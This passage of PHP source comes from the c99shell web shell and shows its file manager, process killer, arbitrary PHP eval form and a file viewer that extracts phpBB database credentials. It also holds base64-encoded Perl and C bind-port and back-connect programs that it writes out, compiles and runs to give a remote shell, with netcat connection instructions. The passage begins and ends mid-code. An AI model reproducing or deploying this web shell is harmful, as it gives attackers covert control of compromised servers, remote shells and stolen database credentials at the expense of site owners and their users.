    elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
    $row[] = filemtime($v);
    if (!$win)
    {
     $ow = @posix_getpwuid(fileowner($v));
     $gr = @posix_getgrgid(filegroup($v));
     $row[] = $ow["name"]."/".$gr["name"];
     $row[] = fileowner($v)."/".filegroup($v);
    }
    $row[] = fileperms($v);
    if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
    elseif (is_link($v)) {$objects["links"][] = $row;}
    elseif (is_dir($v)) {$objects["dirs"][] = $row;}
    elseif (is_file($v)) {$objects["files"][] = $row;}
   }
   $row = array();
   $row[] = "<b>Name</b>";
   $row[] = "<b>Size</b>";
   $row[] = "<b>Modify</b>";
   if (!$win)
  {$row[] = "<b>Owner/Group</b>";}
   $row[] = "<b>Perms</b>";
   $row[] = "<b>Action</b>";
   $k = $sort[0];
   if (!is_numeric($k)) {$k = $sort[0] = 0;}
   if ($sort[1] != "a") {$sort[1] = "d";}
   $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($sort[1] == "a"?"d":"a")."\">";
   $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($sort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
   $row[$k] .= $y;
   for($i=0;$i<count($row)-1;$i++)
   {
    if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$sort[1]."\">".$row[$i]."</a>";}
   }
   $v = $sort[0];
   usort($objects["dirs"], "tabsort");
   usort($objects["links"], "tabsort");
   usort($objects["files"], "tabsort");
   if ($sort[1] == "d")
   {
    $objects["dirs"] = array_reverse($objects[dirs]);
    $objects["files"] = array_reverse($objects[files]);
   }
   $objects = array_merge($objects["head"],$objects["dirs"],$objects["links"],$objects["files"]);
   $tab = array();
   $tab["cols"] = array($row);
   $tab["head"] = array();
   $tab["dirs"] = array();
   $tab["links"] = array();
   $tab["files"] = array();
   foreach ($objects as $a)
   {
    $v = $a[0];
    $o = basename($v);
    $dir = dirname($v);
    if ($disp_fullpath) {$disppath = $v;}
    else {$disppath = $o;}
    $disppath = str2mini($disppath,60);
    if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
    elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
    foreach ($regxp_highlight as $r)
    {
     if (ereg($r[0],$o))
     {
      if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command"; exit;}
      else
      {
       $r[1] = round($r[1]);
       $isdir = is_dir($v);
       if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
       {
        if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
        $disppath = $r[2].$disppath.$r[3];
        if ($r[4]) {break;}
       }
      }
     }
    }
    $uo = urlencode($o);
    $ud = urlencode($dir);
    $uv = urlencode($v);
    $row = array();
    if ($o == ".")
    {
     $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."\">".$o."</a>";
     $row[] = "LINK";
    }
    elseif ($o == "..")
    {
     $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
     $row[] = "LINK";
    }
    elseif (is_dir($v))
    {
     if (is_link($v))
     {
      $disppath .= " => ".readlink($v);
      $type = "LINK";
      $row[] =  "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
     }
     else
     {
      $type = "DIR";
      $row[] =  "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
      }
     $row[] = $type;
    }
    elseif(is_file($v))
    {
     $ext = explode(".",$o);
     $c = count($ext)-1;
     $ext = $ext[$c];
     $ext = strtolower($ext);
     $row[] =  "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>";
     $row[] = view_size($a[1]);
    }
    $row[] = date("d.m.Y H:i:s",$a[2]);
    if (!$win) {$row[] = $a[3];}
    $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
    if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<input type=\"checkbox\" name=\"actbox[]\" value=\"".htmlspecialchars($v)."\">";}
    else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<input type=\"checkbox\" id=\"ls_dir[]\" name=\"actbox[]\" value=\"".htmlspecialchars($v)."\">";}
    if (($o == ".") or ($o == "..")) {$tab[head][] = $row;}
    elseif (is_link($v)) {$tab["links"][] = $row;}
    elseif (is_dir($v)) {$tab["dirs"][] = $row;}
    elseif (is_file($v)) {$tab["files"][] = $row;}
   }
  }
  //Compiling table
  $table = array_merge($tab["cols"],$tab["head"],$tab["dirs"],$tab["links"],$tab["files"]);
  echo "<center><b>Listing directory (".count($tab["files"])." files and ".(count($tab["dirs"])+count($tab["links"]))." directories):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#333333 border=0><form method=\"POST\">";
  foreach($table as $row)
  {
   echo "<tr>\r\n";
   foreach($row as $v) {echo "<td>".$v."</td>\r\n";}
   echo "</tr>\r\n";
  }
  echo "</table><hr size=\"1\" noshade><p align=\"right\"><b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">";
  if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
  {
   echo "<input type=\"submit\" name=\"actarcbuff\" value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=\"submit\" name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=\"submit\" name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  }
  echo "<select name=\"act\"><option value=\"".$act."\">With selected:</option>";
  echo "<option value=\"delete\"".gchds($dspact,"delete"," selected").">Delete</option>";
  echo "<option value=\"chmod\"".gchds($dspact,"chmod"," selected").">Change-mode</option>";
  if ($usefsbuff)
  {
   echo "<option value=\"cut\"".gchds($dspact,"cut"," selected").">Cut</option>";
   echo "<option value=\"copy\"".gchds($dspact,"copy"," selected").">Copy</option>";
   echo "<option value=\"unselect\"".gchds($dspact,"unselect"," selected").">Unselect</option>";
  }
  echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></p>";
  echo "</form>";
 }
}
if ($act == "bind")
{
 $bndsrcs = array(
"c99sh_bindport.pl"=>
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"ICBleGVjKCIvYmluL3NoIik7DQogfQ0KIGNsb3NlIFg7DQp9",
"c99sh_bindport.c"=>
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"fQ==",
"c99sh_backconn.pl"=>
"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJ".
"HN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2VjaG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZ".
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"CAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgnd".
"GNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBka".
"WUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yO".
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"FNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==",
"c99sh_backconn.c"=>
"I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5l".
"dGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZk".
"Ow0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJybSAtZiAiOyANCiBk".
"YWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0g".
"aHRvbnMoYXRvaShhcmd2WzJdKSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihh".
"cmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJsZW4oYXJndlsy".
"XSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsg".
"DQogaWYgKChjb25uZWN0KGZkLCAoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1".
"Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7DQogICBleGl0".
"KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIo".
"ZmQsIDApOw0KIGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwi".
"c2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="
);
 $bndportsrcs = array(
"c99sh_bindport.pl"=>array("Using PERL","perl %path %port"),
"c99sh_bindport.c"=>array("Using C","%path %port %pass")
);
 $bcsrcs = array(
"c99sh_backconn.pl"=>array("Using PERL","perl %path %host %port"),
"c99sh_backconn.c"=>array("Using C","%path %host %port")
);
 if ($win) {echo "<b>Binding port and Back connect:</b><br>This functions not work in Windows!<br><br>";}
 else
 {
  if (!is_array($bind)) {$bind = array();}
  if (!is_array($bc)) {$bc = array();}
  if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;}
  if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;}
  if (empty($bc["host"])) {$bc["host"] = $REMOTE_ADDR;}
  if (!is_numeric($bc["port"])) {$bc["port"] = $bindport_port;}
  if (!empty($bindsubmit))
  {
   echo "<b>Result of binding port:</b><br>";
   $v = $bndportsrcs[$bind["src"]];
   if (empty($v)) {echo "Unknown file!<br>";}
   elseif (fsockopen($SERVER_ADDR,$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";}
   else
   {
    $srcpath = $tmpdir.$bind["src"];
    $w = explode(".",$bind["src"]);
    $ext = $w[count($w)-1];
    unset($w[count($w)-1]);
    $binpath = $tmpdir.join(".",$w);
    if ($ext == "pl") {$binpath = $srcpath;}
    @unlink($srcpath);
    $fp = fopen($srcpath,"ab+");
    if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
    else
    {
     $data = base64_decode($bndsrcs[$bind["src"]]);
     fwrite($fp,$data,strlen($data));
     fclose($fp);
     if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath);  @unlink($srcpath);}
     $v[1] = str_replace("%path",$binpath,$v[1]);
     $v[1] = str_replace("%port",$bind["port"],$v[1]);
     $v[1] = str_replace("%pass",$bind["pass"],$v[1]);
     $v[1] = str_replace("//","/",$v[1]);
     $retbind = myshellexec($v[1]." > /dev/null &");
     sleep(5);
     $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5);
     if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";}
     else {echo "Binding... ok! Connect to <b>".$SERVER_ADDR.":".$bind["port"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".$SERVER_ADDR." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=ps_aux&grep=".basename($binpath)."\"><u>View binder's process</u></a></center>";}
    }
    echo "<br>";
   }
  }
  if (!empty($bcsubmit))
  {
   echo "<b>Result of back connection:</b><br>";
   $v = $bcsrcs[$bc["src"]];
   if (empty($v)) {echo "Unknown file!<br>";}
   else
   {
    $srcpath = $tmpdir.$bc["src"];
    $w = explode(".",$bc["src"]);
    $ext = $w[count($w)-1];
    unset($w[count($w)-1]);
    $binpath = $tmpdir.join(".",$w);
    if ($ext == "pl") {$binpath = $srcpath;}
    @unlink($srcpath);
    $fp = fopen($srcpath,"ab+");
    if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
    else
    {
     $data = base64_decode($bndsrcs[$bind[src]]);
     fwrite($fp,$data,strlen($data));
     fclose($fp);
     if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
     $v[1] = str_replace("%path",$binpath,$v[1]);
     $v[1] = str_replace("%host",$bc["host"],$v[1]);
     $v[1] = str_replace("%port",$bc["port"],$v[1]);
     $v[1] = str_replace("//","/",$v[1]);
     $retbind = myshellexec($v[1]." > /dev/null &");
     echo "Now script try connect to ".$bc["host"].":".$bc["port"]."...<br>";
    }
   }
  }
  ?><b>Binding port:</b><br><form method="POST"><input type="hidden" name="act" value="bind"><input type="hidden" name="d" value="<?php echo $d; ?>">Port: <input type="text" name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>">&nbsp;Password: <input type="text" name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>">&nbsp;<select name="bind[src]"><?php
foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
?></select>&nbsp;<input type="submit" name="bindsubmit" value="Bind"></form>
<b>Back connection:</b><br><form method="POST"><input type="hidden" name="act" value="bind"><input type="hidden" name="d" value="<?php echo $d; ?>">HOST: <input type="text" name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>">&nbsp;Port: <input type="text" name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>">&nbsp;<select name="bc[src]"><?php
foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
?></select>&nbsp;<input type="submit" name="bcsubmit" value="Connect"></form>
Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p &lt;port&gt;</b>"!<?php
 }
}
if ($act == "ps_aux")
{
 echo "<b>Processes:</b><br>";
 if ($win) {echo "This function not work in Windows!<br><br>";}
 else
 {
  if ($pid)
  {
   if (!$sig) {$sig = 9;}
   echo "Sending signal ".$sig." to #".$pid."... ";
   $ret = posix_kill($pid,$sig);
   if ($ret) {echo "ok. he is dead, amen.";}
   else {echo "ERROR.";}
  }
  $ret = myshellexec("ps -aux");
  if (!$ret) {echo "Can't execute \"ps -aux\"!";}
  else
  {
   $ret = htmlspecialchars($ret);
   while (ereg("  ",$ret)) {$ret = str_replace("  "," ",$ret);}
   $stack = explode("\n",$ret);
   $head = explode(" ",$stack[0]);
   unset($stack[0]);
   if (empty($ps_aux_sort)) {$ps_aux_sort = $sort_default;}
   if (!is_numeric($ps_aux_sort[0])) {$ps_aux_sort[0] = 0;}
   $k = $ps_aux_sort[0];
   if ($ps_aux_sort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&ps_aux_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
   else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&ps_aux_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
   for($i=0;$i<count($head);$i++)
   {
    if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&ps_aux_sort=".$i.$ps_aux_sort[1]."\"><b>".$head[$i]."</b></a>";}
   }
   $prcs = array();
   foreach ($stack as $line)
   {
    if (!empty($line))
	{
	 echo "<tr>";
     $line = explode(" ",$line);
     $line[10] = join(" ",array_slice($line,10,count($line)));
     $line = array_slice($line,0,11);
     if ($line[0] == get_current_user()) {$line[0] = "<font color=\"green\">".$line[0]."</font>";}
     $line[] = "<a href=\"".$surl."act=ps_aux&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
     $prcs[] = $line;
     echo "</tr>";
    }
   }
   $head[$k] = "<b>".$head[$k]."</b>".$y;
   $head[] = "<b>ACTION</b>";
   $v = $ps_aux_sort[0];
   usort($prcs,"tabsort");
   if ($ps_aux_sort[1] == "d") {$prcs = array_reverse($prcs);}
   $tab = array();
   $tab[] = $head;
   $tab = array_merge($tab,$prcs);
   echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">";
   foreach($tab as $k)
   {
    echo "<tr>";
    foreach($k as $v) {echo "<td>".$v."</td>";}
    echo "</tr>";
   }
   echo "</table>";
  }
 }
}
if ($act == "eval")
{
 if (!empty($eval))
 {
  echo "<b>Result of execution this PHP-code</b>:<br>";
  $tmp = ob_get_contents();
  $olddir = realpath(".");
  @chdir($d);
  if ($tmp)
  {
   ob_clean();
   eval($eval);
   $ret = ob_get_contents();
   $ret = convert_cyr_string($ret,"d","w");
   ob_clean();
   echo $tmp;
   if ($eval_txt)
   {
    $rows = count(explode("\r\n",$ret))+1;
    if ($rows < 10) {$rows = 10;}
    echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
   }
   else {echo $ret."<br>";}
  }
  else
  {
   if ($eval_txt)
   {
    echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
    eval($eval);
    echo "</textarea>";
   }
   else {echo $ret;}
  }
  @chdir($olddir);
 }
 else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = true;}}
 echo "<form method=\"POST\"><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=\"hidden\" name=\"d\" value=\"".$dispd."\"><br><br><input type=\"submit\" value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
}
if ($act == "f")
{
 if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
 {
  if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
  else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
 }
 else
 {
  $r = @file_get_contents($d.$f);
  $ext = explode(".",$f);
  $c = count($ext)-1;
  $ext = $ext[$c];
  $ext = strtolower($ext);
  $rft = "";
  foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
  if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
  if (empty($ft)) {$ft = $rft;}
  $arr = array(
   array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"),
   array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"),
   array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"),
   array("Code","code"),
   array("Session","phpsess"),
   array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"),
   array("SDB","sdb"),
   array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"),
   array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"),
   array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"),
   array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"),
   array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit")
  );
  echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
  foreach($arr as $t)
  {
   if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=\"green\">".$t[0]."</font></a>";}
   elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
   else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
   echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
  }
  echo "<hr size=\"1\" noshade>";
  if ($ft == "info")
  {
   echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
   if (!$win)
   {
    echo "<tr><td><b>Owner/Group</b></td><td> ";      
    $tmp = posix_getpwuid(fileowner($d.$f));
    if ($tmp["name"] == "") {echo fileowner($d.$f)."/";}
    else {echo $tmp["name"]."/";}
    $tmp = posix_getgrgid(filegroup($d.$f));
    if ($tmp["name"] == "") {echo filegroup($d.$f);}
    else {echo $tmp['name'];}
   }
   echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>";
   $fi = fopen($d.$f,"rb");
   if ($fi)
   {
    if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
    else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
    $n = 0;
    $a0 = "00000000<br>";
    $a1 = "";
    $a2 = "";
    for ($i=0; $i<strlen($str); $i++)
    {
     $a1 .= sprintf("%02X",ord($str[$i]))." ";
     switch (ord($str[$i]))
     {
      case 0:  $a2 .= "<font>0</font>"; break;
      case 32: 
      case 10:
      case 13: $a2 .= "&nbsp;"; break;
      default: $a2 .= htmlspecialchars($str[$i]);
     }
     $n++;
     if ($n == $hexdump_rows)
     {
      $n = 0;
      if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
      $a1 .= "<br>";
      $a2 .= "<br>";
     }
    }
    //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";}
    echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>";
   }
   $encoded = "";
   if ($base64 == 1)
   {
    echo "<b>Base64 Encode</b><br>";
    $encoded = base64_encode(file_get_contents($d.$f));
   }
   elseif($base64 == 2)
   {
    echo "<b>Base64 Encode + Chunk</b><br>";
    $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
   }
   elseif($base64 == 3)
   {
    echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
    $encoded = base64_encode(file_get_contents($d.$f));
    $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
   }
   elseif($base64 == 4)
   {
    $text = file_get_contents($d.$f);
    $encoded = base64_decode($text);
    echo "<b>Base64 Decode";
    if (base64_encode($encoded) != $text) {echo " (failed)";}
    echo "</b><br>";
   }
   if (!empty($encoded))
   {
    echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
   }
   echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr>
<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr>
<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr>
<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr>
<P>";
  }
  elseif ($ft == "html")
  {
   if ($white) {@ob_clean();}
   echo $r;
   if ($white) {exit;}
  }
  elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
  elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,true)); echo "</pre>";}
  elseif ($ft == "phpsess")
  {
   echo "<pre>";
   $v = explode("|",$r);
   echo $v[0]."<br>";
   var_dump(unserialize($v[1]));
   echo "</pre>";
  }
  elseif ($ft == "exe")
  {
   $ext = explode(".",$f);
   $c = count($ext)-1;
   $ext = $ext[$c];
   $ext = strtolower($ext);
   $rft = "";
   foreach($exeftypes as $k=>$v)
   {
    if (in_array($ext,$v)) {$rft = $k; break;}
   }
   $cmd = str_replace("%f%",$f,$rft);
   echo "<b>Execute file:</b><form action=\"".$surl."act=cmd\" method=\"POST\"><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=\"hidden\" name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=\"submit\" name=\"submit\" value=\"Execute\"></form>";
  }
  elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
  elseif ($ft == "code")
  {
   if (ereg("phpBB 2.(.*) auto-generated config file",$r))
   {
    $arr = explode("\n",$r);
    if (count($arr == 18))
    {
     include($d.$f);
     echo "<b>phpBB configuration is detected in this file!<br>";
     if ($dbms == "mysql4") {$dbms = "mysql";}
     if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
     else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";}
     echo "Parameters for manual connect:<br>";
     $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
     foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
     echo "</b><hr size=\"1\" noshade>";
    }
   }
   echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
   if (!empty($white)) {@ob_clean();}
   highlight_file($d.$f);
   if (!empty($white)) {exit;}
   echo "</div>";
  }
  elseif ($ft == "download")
  {
   @ob_clean();
   header("Content-type: application/octet-stream");
   header("Content-length: ".filesize($d.$f));
   header("Content-disposition: attachment; filename=\"".$f."\";");
   echo $r;
   exit;
  }
  elseif ($ft == "notepad")
  {
   @ob_clean();
   header("Content-type: text/plain");
   header("Content-disposition: attachment; filename=\"".$f.".txt\";");
   echo($r);
   exit;
  }
  elseif ($ft == "img")
  {
   $inf = getimagesize($d.$f);
   if (!$white)
   {
    if (empty($imgsize)) {$imgsize = 20;}
    $width = $inf[0]/100*$imgsize;
    $height = $inf[1]/100*$imgsize;
    echo "<center><b>Size:</b>&nbsp;";
    $sizes = array("100","50","20");
